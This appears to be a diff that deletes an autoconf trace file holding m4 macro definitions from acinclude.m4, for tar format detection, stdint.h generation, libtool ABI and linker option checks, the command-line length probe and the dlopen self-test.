-# Do not fold the above two line into one, because Tru64 sh and
-# Solaris sh will not grok spaces in the rhs of `-'.
-for _am_tool in $_am_tools
-do
- case $_am_tool in
- gnutar)
- for _am_tar in tar gnutar gtar;
- do
- AM_RUN_LOG([$_am_tar --version]) && break
- done
- am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"'
- am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"'
- am__untar="$_am_tar -xf -"
- ;;
- plaintar)
- # Must skip GNU tar: if it does not support --format= it doesn't create
- # ustar tarball either.
- (tar --version) >/dev/null 2>&1 && continue
- am__tar='tar chf - "$$tardir"'
- am__tar_='tar chf - "$tardir"'
- am__untar='tar xf -'
- ;;
- pax)
- am__tar='pax -L -x $1 -w "$$tardir"'
- am__tar_='pax -L -x $1 -w "$tardir"'
- am__untar='pax -r'
- ;;
- cpio)
- am__tar='find "$$tardir" -print | cpio -o -H $1 -L'
- am__tar_='find "$tardir" -print | cpio -o -H $1 -L'
- am__untar='cpio -i -H $1 -d'
- ;;
- none)
- am__tar=false
- am__tar_=false
- am__untar=false
- ;;
- esac
-
- # If the value was cached, stop now. We just wanted to have am__tar
- # and am__untar set.
- test -n "${am_cv_prog_tar_$1}" && break
-
- # tar/untar a dummy directory, and stop if the command works
- rm -rf conftest.dir
- mkdir conftest.dir
- echo GrepMe > conftest.dir/file
- AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar])
- rm -rf conftest.dir
- if test -s conftest.tar; then
- AM_RUN_LOG([$am__untar <conftest.tar])
- grep GrepMe conftest.dir/file >/dev/null 2>&1 && break
- fi
-done
-rm -rf conftest.dir
-
-AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool])
-AC_MSG_RESULT([$am_cv_prog_tar_$1])])
-AC_SUBST([am__tar])
-AC_SUBST([am__untar])
-])
-m4trace:acinclude.m4:2: -1- AC_DEFUN([AC_TYPE_SOCKLEN_T], [AC_CACHE_CHECK([for socklen_t], ac_cv_type_socklen_t,
-[
- AC_TRY_COMPILE(
- [#include <sys/types.h>
- #include <sys/socket.h>],
- [socklen_t len = 42; return 0;],
- ac_cv_type_socklen_t=yes,
- ac_cv_type_socklen_t=no)
-])
- if test $ac_cv_type_socklen_t != yes; then
- AC_DEFINE(socklen_t, int)
- fi
-])
-m4trace:acinclude.m4:20: -1- AC_DEFUN([AC_COMPILE_CHECK_SIZEOF], [changequote(<<, >>)dnl
-dnl The name to #define.
-define(<<AC_TYPE_NAME>>, translit(sizeof_$1, [a-z *], [A-Z_P]))dnl
-dnl The cache variable name.
-define(<<AC_CV_NAME>>, translit(ac_cv_sizeof_$1, [ *], [_p]))dnl
-changequote([, ])dnl
-AC_MSG_CHECKING(size of $1)
-AC_CACHE_VAL(AC_CV_NAME,
-[for ac_size in 4 8 1 2 16 $2 ; do # List sizes in rough order of prevalence.
- AC_TRY_COMPILE([#include "confdefs.h"
-#include <sys/types.h>
-$2
-], [switch (0) case 0: case (sizeof ($1) == $ac_size):;], AC_CV_NAME=$ac_size)
- if test x$AC_CV_NAME != x ; then break; fi
-done
-])
-if test x$AC_CV_NAME = x ; then
- AC_MSG_ERROR([cannot determine a size for $1])
-fi
-AC_MSG_RESULT($AC_CV_NAME)
-AC_DEFINE_UNQUOTED(AC_TYPE_NAME, $AC_CV_NAME, [The number of bytes in type $1])
-undefine([AC_TYPE_NAME])dnl
-undefine([AC_CV_NAME])dnl
-])
-m4trace:acinclude.m4:49: -1- AC_DEFUN([AC_CREATE_STDINT_H], [# ------ AC CREATE STDINT H -------------------------------------
-AC_MSG_CHECKING([for stdint-types....])
-ac_stdint_h=`echo ifelse($1, , _stdint.h, $1)`
-if test "$ac_stdint_h" = "stdint.h" ; then
- AC_MSG_RESULT("(are you sure you want them in ./stdint.h?)")
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- AC_MSG_RESULT("(are you sure you want them in ./inttypes.h?)")
-else
- AC_MSG_RESULT("(putting them into $ac_stdint_h)")
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h $2 \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- _AC_CHECK_TYPE_NEW(uintptr_t,[ac_cv_header_stdint_x=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(uint64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our uintptr_t in $i $and64)
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- AC_CHECK_TYPE(uint32_t,[ac_cv_header_stdint_o=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(uint64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our uint32_t in $i $and64)
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- AC_CHECK_TYPE(u_int32_t,[ac_cv_header_stdint_u=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(u_int64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our u_int32_t in $i $and64)
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- AC_COMPILE_CHECK_SIZEOF(char)
- AC_COMPILE_CHECK_SIZEOF(short)
- AC_COMPILE_CHECK_SIZEOF(int)
- AC_COMPILE_CHECK_SIZEOF(long)
- AC_COMPILE_CHECK_SIZEOF(void*)
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=AS_TR_CPP(_$ac_stdint_h)
-AC_MSG_RESULT(creating $ac_stdint_h : $_ac_stdint_h)
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
-AC_CHECK_TYPE(int_least32_t,,,[#include <$ac_cv_header_stdint>])
-AC_CHECK_TYPE(int_fast32_t,,,[#include<$ac_cv_header_stdint>])
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-AC_MSG_RESULT(..adding include stddef.h)
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-AC_MSG_RESULT(..adding include $ac_cv_header_stdint)
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- AC_MSG_RESULT(... need to look at C basic types)
-dnl ac_cv_header_stdint_test="yes" # moved up before creating the file
-else
- AC_MSG_RESULT(... seen good stdint.h inttypes)
-dnl ac_cv_header_stdint_test="no" # moved up before creating the file
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- AC_MSG_RESULT(... seen bsd/sysv typedefs)
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) AC_MSG_RESULT(..adding $t normal 16-bit system)
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) AC_MSG_RESULT(..adding $t 32-bit system derived from a 16-bit)
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) AC_MSG_RESULT(..adding $t normal 32-bit system)
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) AC_MSG_RESULT(..adding $t 32-bit system prepared for 64-bit)
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) AC_MSG_RESULT(..adding $t normal 64-bit system)
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) AC_MSG_RESULT(..adding $t 64-bit system derived from a 32-bit)
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- AC_MSG_ERROR([ $ac_cv_sizeof_X dnl
- what is that a system? contact the author, quick! http://ac-archive.sf.net])
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then AC_MSG_RESULT(... seen good uint64_t)
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then AC_MSG_RESULT(..adding typedef u_int64_t uint64_t)
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else AC_MSG_RESULT(..adding generic uint64_t runtime checks)
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-dnl /* note: all ELF-systems seem to have loff-support which needs 64-bit */
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) AC_MSG_RESULT(..adding uint64_t default, normal 64-bit system)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) AC_MSG_RESULT(..adding uint64_t default, typedef to long)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
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-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
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- a="int64_t" ; cat >>$ac_stdint_h <<EOF
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-typedef uint64_t uintptr_t;
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- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
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-
-typedef unsigned long uintptr_t;
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-
-typedef uint8_t uint_least8_t;
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-
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- # Cool, printf works
- :
- elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
- test "X$echo_testing_string" = 'X\t' &&
- echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL
- export CONFIG_SHELL
- SHELL="$CONFIG_SHELL"
- export SHELL
- echo="$CONFIG_SHELL [$]0 --fallback-echo"
- elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
- test "X$echo_testing_string" = 'X\t' &&
- echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- echo="$CONFIG_SHELL [$]0 --fallback-echo"
- else
- # maybe with a smaller string...
- prev=:
-
- for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do
- if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null
- then
- break
- fi
- prev="$cmd"
- done
-
- if test "$prev" != 'sed 50q "[$]0"'; then
- echo_test_string=`eval $prev`
- export echo_test_string
- exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"}
- else
- # Oops. We lost completely, so just stick with echo.
- echo=echo
- fi
- fi
- fi
- fi
-fi
-fi
-
-# Copy echo and quote the copy suitably for passing to libtool from
-# the Makefile, instead of quoting the original, which is used later.
-ECHO=$echo
-if test "X$ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then
- ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo"
-fi
-
-AC_SUBST(ECHO)
-])])
-m4trace:acinclude.m4:1073: -1- AC_DEFUN([_LT_AC_LOCK], [AC_ARG_ENABLE([libtool-lock],
- [AC_HELP_STRING([--disable-libtool-lock],
- [avoid locking (might break parallel builds)])])
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-# Some flags need to be propagated to the compiler or linker for good
-# libtool support.
-case $host in
-ia64-*-hpux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- case `/usr/bin/file conftest.$ac_objext` in
- *ELF-32*)
- HPUX_IA64_MODE="32"
- ;;
- *ELF-64*)
- HPUX_IA64_MODE="64"
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-*-*-irix6*)
- # Find out which ABI we are using.
- echo '[#]line __oline__ "configure"' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- if test "$lt_cv_prog_gnu_ld" = yes; then
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -melf32bsmip"
- ;;
- *N32*)
- LD="${LD-ld} -melf32bmipn32"
- ;;
- *64-bit*)
- LD="${LD-ld} -melf64bmip"
- ;;
- esac
- else
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -32"
- ;;
- *N32*)
- LD="${LD-ld} -n32"
- ;;
- *64-bit*)
- LD="${LD-ld} -64"
- ;;
- esac
- fi
- fi
- rm -rf conftest*
- ;;
-
-x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- case `/usr/bin/file conftest.o` in
- *32-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_i386"
- ;;
- ppc64-*linux*|powerpc64-*linux*)
- LD="${LD-ld} -m elf32ppclinux"
- ;;
- s390x-*linux*)
- LD="${LD-ld} -m elf_s390"
- ;;
- sparc64-*linux*)
- LD="${LD-ld} -m elf32_sparc"
- ;;
- esac
- ;;
- *64-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_x86_64"
- ;;
- ppc*-*linux*|powerpc*-*linux*)
- LD="${LD-ld} -m elf64ppc"
- ;;
- s390*-*linux*)
- LD="${LD-ld} -m elf64_s390"
- ;;
- sparc*-*linux*)
- LD="${LD-ld} -m elf64_sparc"
- ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-sco3.2v5*)
- # On SCO OpenServer 5, we need -belf to get full-featured binaries.
- SAVE_CFLAGS="$CFLAGS"
- CFLAGS="$CFLAGS -belf"
- AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf,
- [AC_LANG_PUSH(C)
- AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no])
- AC_LANG_POP])
- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
- CFLAGS="$SAVE_CFLAGS"
- fi
- ;;
-sparc*-*solaris*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- case `/usr/bin/file conftest.o` in
- *64-bit*)
- case $lt_cv_prog_gnu_ld in
- yes*) LD="${LD-ld} -m elf64_sparc" ;;
- *) LD="${LD-ld} -64" ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL],
-[*-*-cygwin* | *-*-mingw* | *-*-pw32*)
- AC_CHECK_TOOL(DLLTOOL, dlltool, false)
- AC_CHECK_TOOL(AS, as, false)
- AC_CHECK_TOOL(OBJDUMP, objdump, false)
- ;;
- ])
-esac
-
-need_locks="$enable_libtool_lock"
-
-])
-m4trace:acinclude.m4:1219: -1- AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], [AC_REQUIRE([LT_AC_PROG_SED])
-AC_CACHE_CHECK([$1], [$2],
- [$2=no
- ifelse([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4])
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$3"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&AS_MESSAGE_LOG_FD
- echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- $2=yes
- fi
- fi
- $rm conftest*
-])
-
-if test x"[$]$2" = xyes; then
- ifelse([$5], , :, [$5])
-else
- ifelse([$6], , :, [$6])
-fi
-])
-m4trace:acinclude.m4:1264: -1- AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], [AC_CACHE_CHECK([$1], [$2],
- [$2=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $3"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&AS_MESSAGE_LOG_FD
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- $2=yes
- fi
- else
- $2=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-])
-
-if test x"[$]$2" = xyes; then
- ifelse([$4], , :, [$4])
-else
- ifelse([$5], , :, [$5])
-fi
-])
-m4trace:acinclude.m4:1299: -1- AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], [# find the maximum length of command line arguments
-AC_MSG_CHECKING([the maximum length of command line arguments])
-AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl
- i=0
- teststring="ABCD"
-
- case $build_os in
- msdosdjgpp*)
- # On DJGPP, this test can blow up pretty badly due to problems in libc
- # (any single argument exceeding 2000 bytes causes a buffer overrun
- # during glob expansion). Even if it were fixed, the result of this
- # check would be larger than it should be.
- lt_cv_sys_max_cmd_len=12288; # 12K is about right
- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
- if test -x /sbin/sysconfig; then
- case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
- if test -n "$kargmax"; then
- lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ ]]//'`
- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \
- = "XX$teststring") >/dev/null 2>&1 &&
- new_result=`expr "X$teststring" : ".*" 2>&1` &&
- lt_cv_sys_max_cmd_len=$new_result &&
- test $i != 17 # 1/2 MB should be enough
- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-])
-if test -n $lt_cv_sys_max_cmd_len ; then
- AC_MSG_RESULT($lt_cv_sys_max_cmd_len)
-else
- AC_MSG_RESULT(none)
-fi
-])
-m4trace:acinclude.m4:1414: -1- AC_DEFUN([_LT_AC_CHECK_DLFCN], [AC_CHECK_HEADERS(dlfcn.h)dnl
-])
-m4trace:acinclude.m4:1422: -1- AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF], [AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
-if test "$cross_compiling" = yes; then :
- [$4]
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-[#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
-extern "C" void exit (int);
-#endif
-
-void fnord() { int i=42;}
-int main ()
-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
- }
- else
- puts (dlerror ());
-
- exit (status);
-}]
-EOF
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then
- (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null
- lt_status=$?
- case x$lt_status in
- x$lt_dlno_uscore) $1 ;;
- x$lt_dlneed_uscore) $2 ;;
